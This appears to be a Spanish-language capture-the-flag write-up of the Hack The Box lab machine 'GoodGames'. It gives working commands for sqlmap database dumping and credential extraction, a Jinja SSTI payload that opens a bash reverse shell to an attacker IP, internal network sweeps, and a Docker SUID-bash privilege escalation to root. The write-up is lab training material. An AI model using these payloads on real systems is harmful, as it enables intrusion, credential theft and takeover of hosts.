# GoodGames

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.11.130
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fa2MPVf9BWqnI8u8ZfcPr%2Fimage.png?alt=media&#x26;token=ed058d71-3c57-4cd6-8fad-b067ac424d5f" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.11.130
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZykU6U2mBC7nBFsk0qJ0%2Fimage.png?alt=media&#x26;token=a7cc573e-d144-4a3b-8b02-bcc166d327fd" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 80 (HTTP):** Este puerto generalmente está asociado a servidores web. Si el servicio está ejecutando un servidor web como Apache, Nginx o IIS, es recomendable buscar vulnerabilidades conocidas relacionadas con el software y versiones en uso (por ejemplo, a través de CVEs). Además, es importante realizar pruebas de seguridad en las aplicaciones web que se ejecutan en el servidor, como inyecciones SQL, Cross-Site Scripting (XSS) o vulnerabilidades de escalada de privilegios.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 10.10.11.130
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPQtkmeKaTuXYY7IugHg3%2Fimage.png?alt=media&#x26;token=f21c68f4-4a05-43fd-bbed-253d2b3e76f3" alt=""><figcaption></figcaption></figure>

Accedemos al puerto 80.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuwXpmH2FyAjzzUNMynRX%2Fimage.png?alt=media&#x26;token=75bfbfbf-f5eb-4a26-9ae3-7150602e3bf6" alt=""><figcaption></figcaption></figure>

Es una página de Juegos y tiene un Login vamos a usar entonces SQLMap.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZBMuyQpDmh4j6BP3BEK9%2FCaptura%20de%20pantalla%202025-02-22%20100654.png?alt=media&#x26;token=badc06ce-3d60-4135-afb9-7aa1fd1e7eb4" alt=""><figcaption></figcaption></figure>

Conocer las bases de datos.

```
sqlmap -u http://10.10.11.130 --forms --dbs --batch
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDlzHnk7voof9FqrnDNn9%2Fimage.png?alt=media&#x26;token=c134cc78-5b23-4c36-87d3-88a0ed6c41f4" alt=""><figcaption></figcaption></figure>

Conocer las tablas de la base de datos objetivo.

```
sqlmap -u http://10.10.11.130 --forms -D main --tables --batch
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FigtLOLiQP0DY1j6J8E4M%2Fimage.png?alt=media&#x26;token=04dfb723-681d-41da-9698-50ffdd96ea57" alt=""><figcaption></figcaption></figure>

Conocer las columnas de la tabla de la bases de datos objetivo.

```
sqlmap -u http://10.10.11.130 --forms -D main -T user --columns --batch
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F85aTbgiZZDmc7zmtWL5r%2Fimage.png?alt=media&#x26;token=caffa4b6-f8f3-48ef-8b4d-7a3d5969c700" alt=""><figcaption></figcaption></figure>

Conocer la información que hay en esas columnas.

```bash
sqlmap -u http://10.10.11.130 --forms -D main -T user -C name,id,email,password --dump --batch
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvytnYn0UY68Pchv0eRdA%2Fimage.png?alt=media&#x26;token=4ceef108-d43f-452a-81e6-7d0ec0946914" alt=""><figcaption></figcaption></figure>

Hemos encontrado unas credenciales aunque la contraseña al ser un hash la crackeamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpsUPxA70kSx2ZwrTlHpO%2Fimage.png?alt=media&#x26;token=c4fee81e-0e3f-441e-8d81-ce5a35dd7068" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMKITB4lzQ7aqcM9Ea8fJ%2Fimage.png?alt=media&#x26;token=aab1f4ab-b094-46f5-8b5f-0a9cab6a7e72" alt=""><figcaption></figcaption></figure>

Después de analizar el sitio web del perfil, encontramos un símbolo de configuración que nos redirige a una URL con un dominio diferente. Como primer paso, registraremos este nuevo dominio en el archivo `/etc/hosts`.

```bash
echo "10.10.11.130 internal-administration.goodgames.htb" >> /etc/hosts
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4I8AogjUvw12hwS4Ueoj%2Fimage.png?alt=media&#x26;token=c4d11597-f3b1-4ac6-8020-d1fb78aca76e" alt=""><figcaption></figcaption></figure>

Nos logueamos con esas credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FicE4FHgM7TvsE6ss8UZR%2Fimage.png?alt=media&#x26;token=05acdfd0-62d5-4273-ba0a-cdc3773b904b" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con **Wappalyzer** se ejecuta **Python** por lo que parece una vulnerabilidad **SSTI**. Para ello realizamos la comprobación básica.

```
{{ 7 * 7 }}
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FK1VazGA9VhnKdMofsXNl%2Fimage.png?alt=media&#x26;token=7c6981cd-039e-425d-945e-90e482e635ea" alt=""><figcaption></figcaption></figure>

Es vulnerable a **SSTI** por lo que realizamos un payload que contiene una Reverse Shell.

```
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"').read() }}
```

Nos ponemos en escucha.

```bash
nc -nlvp 4444
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2LC79YLMR7BqRCgYyimo%2Fimage.png?alt=media&#x26;token=24936161-f675-4c20-a0d2-d57ac90c57d6" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

somos **root.** No somos root de manera oficial.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhpVPrBjs5CV4jfiNEhCz%2Fimage.png?alt=media&#x26;token=2580a0c1-6f8a-4f7f-87f6-23d2241d028c" alt=""><figcaption></figcaption></figure>

La interfaz de red está conectada al adaptador de red interna con la dirección `172.19.0.2/16`, lo que nos permite comunicarnos con la red interna desde nuestra máquina de ataque a través de la red comprometida.

Para descubrir los hosts en la red interna, utilizamos el siguiente comando en una sola línea para realizar un escaneo de barrido:

```bash
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" &); done;
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKAEt2U1lEndZghzUnsvB%2Fimage.png?alt=media&#x26;token=61eb772d-1e22-404b-b77e-c49fb942052e" alt=""><figcaption></figcaption></figure>

Una vez identificado un objetivo, realizamos un escaneo de puertos con el siguiente comando:

```bash
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FsKcCIKwd04cZ6dCzOVUM%2Fimage.png?alt=media&#x26;token=3880e465-3a8f-454a-ba6b-1df669770e8b" alt=""><figcaption></figcaption></figure>

Comencé a buscar credenciales de SSH en la máquina y finalmente encontré la carpeta de un usuario dentro del directorio `/home`. Sin embargo, no encontré a `augustus` en el archivo `/etc/passwd`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FS2NxLYK7SK6Wma72j7GL%2Fimage.png?alt=media&#x26;token=bf30d82a-7a04-4463-8ad5-202a7a9915f1" alt=""><figcaption></figcaption></figure>

Vemos que el puerto 22 y 80 están abiertos, por lo que intentamos conectarnos por SSH con el usuario augustus utilizando la contraseña que habíamos encontrado previamente (superadministrator).

```bash
ssh augustus@172.19.0.1
whoami
augustus
```

Como el directorio home del usuario augustus está montado en el contenedor **Docker** y tenemos acceso como usuario **root**, podemos trasladar un binario con permisos **SUID** al home de **augustus** para escalar privilegios a root en el host.

```bash
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls
bash  user.txt

root@3a453ab39d3d:/home/augustus chown root:root /home/augustus/bash  
root@3a453ab39d3d:/home/augustus chmod +s /home/augustus/bash

augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) egid=0(root) groups=0(root),1000(augustus)
bash-5.1# whoami
root
```

Ahora que hemos logrado elevar nuestros privilegios a **root** en la máquina víctima, podemos proceder a leer la flag del usuario **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FaO3rvwnvtPwFRLgmRqZT%2Fimage.png?alt=media&#x26;token=743b1f84-0fa6-44ce-9669-99f21e5bb310" alt=""><figcaption></figcaption></figure>
